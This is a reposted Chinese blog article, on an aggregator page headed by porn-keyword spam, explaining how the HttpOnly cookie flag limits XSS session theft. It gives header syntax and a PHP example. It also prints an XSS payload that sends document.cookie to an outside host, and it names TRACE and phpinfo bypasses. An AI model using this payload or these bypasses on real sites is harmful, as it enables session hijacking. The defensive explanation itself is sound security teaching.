日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

利用Httponly提升web应用程序安全性

發(fā)布時間:2025/3/20 编程问答 28 豆豆
生活随笔 收集整理的這篇文章主要介紹了 利用Httponly提升web应用程序安全性 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

隨著www服務(wù)的興起,越來越多的應(yīng)用程序轉(zhuǎn)向了B/S結(jié)構(gòu),這樣只需要一個瀏覽器就可以訪問各種各樣的web服務(wù),但是這樣也越來越導(dǎo)致了越來越多的web安全問題。www服務(wù)依賴于Http協(xié)議實現(xiàn),Http是無狀態(tài)的協(xié)議,所以為了在各個會話之間傳遞信息,就不可避免地用到Cookie或者Session等技術(shù)來標(biāo)記訪問者的狀態(tài),而無論是Cookie還是Session,一般都是利用Cookie來實現(xiàn)的(Session其實是在瀏覽器的Cookie里帶了一個Token來標(biāo)記,服務(wù)器取得了這個Token并且檢查合法性之后就把服務(wù)器上存儲的對應(yīng)的狀態(tài)和瀏覽器綁定),這樣就不可避免地安全聚焦到了Cookie上面,只要獲得這個Cookie,就可以取得別人的身份,這對于入侵者是一件很美妙的事情,特別當(dāng)獲得的Cookie屬于管理員等高權(quán)限身份者時,危害就更大了。在各種web安全問題里,其中xss漏洞就因此顯得格外危險。

  對于應(yīng)用程序來說,一旦存在了xss漏洞就意味著別人可以在你的瀏覽器中執(zhí)行任意的js腳本,如果應(yīng)用程序是開源的或者功能是公開的話,別人就可以利用ajax使用這些功能,但是過程往往很煩瑣,特別是想直接獲得別人身份做隨意瀏覽的話困難就更大。而對于不開源的應(yīng)用程序,譬如某些大型站點的web后臺(web2.0一個顯著的特征就是大量的交互,用戶往往需要跟后臺的管理員交互,譬如Bug匯報,或者信息投遞等等),盡管因為交互的存在可能存在跨站腳本漏洞,但是因為對后臺的不了解,無法構(gòu)造完美的ajax代碼來利用,即使可以用js取得后臺的代碼并回傳分析,但是過程同樣煩瑣而且不隱蔽。這個時候,利用xss漏洞獲得Cookie或者Session劫持就很有效了,具體分析應(yīng)用程序的認證,然后使用某些技巧,甚至可以即使對方退出程序也一樣永久性獲得對方的身份。

  那么如何獲得Cookie或者Session劫持呢?在瀏覽器中的document對象中,就儲存了Cookie的信息,而利用js可以把這里面的Cookie給取出來,只要得到這個Cookie就可以擁有別人的身份了。一個很典型的xss攻擊語句如下:

xss exp:
  url=document.top.location.href;
  cookie=document.cookie;
  c=newImage();
  c.src=’http://www.loveshell.net/c.php?c=’+cookie+’&u=’+url;

  一些應(yīng)用程序考慮到這個問題所在,所以可能會采取瀏覽器綁定技術(shù),譬如將Cookie和瀏覽器的User-agent綁定,一旦發(fā)現(xiàn)修改就認為Cookie失效。這種方法已經(jīng)證明是無效的,因為當(dāng)入侵者偷得Cookie的同時他肯定已經(jīng)同時獲得了User-agent。還有另外一種比較嚴(yán)格的是將Cookie和Remote-addr相綁定(其實就是和IP綁定,但是一些程序取得IP的方法有問題一樣導(dǎo)致饒過),但是這樣就帶來很差的用戶體驗,更換IP是經(jīng)常的事,譬如上班與家里就是2個IP,所以這種方法往往也不給予采用。所以基于Cookie的攻擊方式現(xiàn)在就非常流行,在一些web 2.0站點很容易就取到應(yīng)用程序的管理員身份。

  如何保障我們的敏感Cookie安全呢?通過上面的分析,一般的Cookie都是從document對象中獲得的,我們只要讓敏感Cookies瀏覽器document中不可見就行了。很幸運,現(xiàn)在瀏覽器在設(shè)置Cookie的時候一般都接受一個叫做HttpOnly的參數(shù),跟domain等其他參數(shù)一樣,一旦這個HttpOnly被設(shè)置,你在瀏覽器的document對象中就看不到Cookie了,而瀏覽器在瀏覽的時候不受任何影響,因為Cookie會被放在瀏覽器頭中發(fā)送出去(包括ajax的時候),應(yīng)用程序也一般不會在js里操作這些敏感Cookie的,對于一些敏感的Cookie我們采用HttpOnly,對于一些需要在應(yīng)用程序中用js操作的cookie我們就不予設(shè)置,這樣就保障了Cookie信息的安全也保證了應(yīng)用。關(guān)于HttpOnly說明可以參照?http://msdn2.microsoft.com/en-us/library/ms533046.aspx。

  給瀏覽器設(shè)置Cookie的頭如下:

Set-Cookie:?=[;?=]
  [; expires=][; domain=]
  [; path=][; secure][; HttpOnly]

  以php為例,在php 5.2版本時就已經(jīng)在Setcookie函數(shù)加入了對HttpOnly的支持,譬如:

setcookie("abc","test",NULL,NULL,NULL,NULL,TRUE);

  就可以設(shè)置abc這個cookie,將其設(shè)置為HttpOnly,document將不可見這個Cookie。因為setcookie函數(shù)本質(zhì)就是個header,所以一樣可以使用header來設(shè)置HttpOnly。然后再使用document.cookie就可以看到已經(jīng)取不到這個Cookie了。我們用這種方法來保護利例如Sessionid,如一些用于認證的auth-cookie,就不用擔(dān)心身份被人獲得了,這對于一些后臺程序和webmail提升安全性的意義是重大的。再次使用上面的攻擊手法時可以看到,已經(jīng)不能獲取被我們設(shè)置為HttpOnly的敏感Cookie了。

  但是,也可以看到HttpOnly并不是萬能的,首先它并不能解決xss的問題,仍然不能抵制一些有耐心的黑客的攻擊,也不能防止入侵者做ajax提交,甚至一些基于xss的proxy也出現(xiàn)了,但是已經(jīng)可以提高攻擊的門檻了,起碼xss攻擊不是每個腳本小子都能完成的了,而且其他的那些攻擊手法因為一些環(huán)境和技術(shù)的限制,并不像Cookie竊取這種手法一樣通用。

  HttpOnly也是可能利用一些漏洞或者配置Bypass的,關(guān)鍵問題是只要能取到瀏覽器發(fā)送的Cookie頭就可以了。譬如以前出現(xiàn)的Http Trace攻擊就可以將你的Header里的Cookie回顯出來,利用ajax或者flash就可以完成這種攻擊,這種手法也已經(jīng)在ajax和flash中獲得修補。另外一個關(guān)于配置或者應(yīng)用程序上可能Bypass的顯著例子就是phpinfo,大家知道phpinfo會將瀏覽器發(fā)送的http頭回顯出來,其中就包括我們保護的auth信息,而這個頁面經(jīng)常存在在各種站點上,只要用ajax取phpinfo頁面,取出header頭對應(yīng)的部分就可以獲得Cookie了。一些應(yīng)用程序的不完善也可能導(dǎo)致header頭的泄露,這種攻擊方式對于basic驗證保護的頁面一樣可以攻擊。

  HttpOnly在IE 6以上,Firefox較新版本都得到了比較好的支持,并且在如Hotmail等應(yīng)用程序里都有廣泛的使用,并且已經(jīng)是取得了比較好的安全效果。

轉(zhuǎn)載于:https://www.cnblogs.com/fengjian/p/3510236.html

總結(jié)

以上是生活随笔為你收集整理的利用Httponly提升web应用程序安全性的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。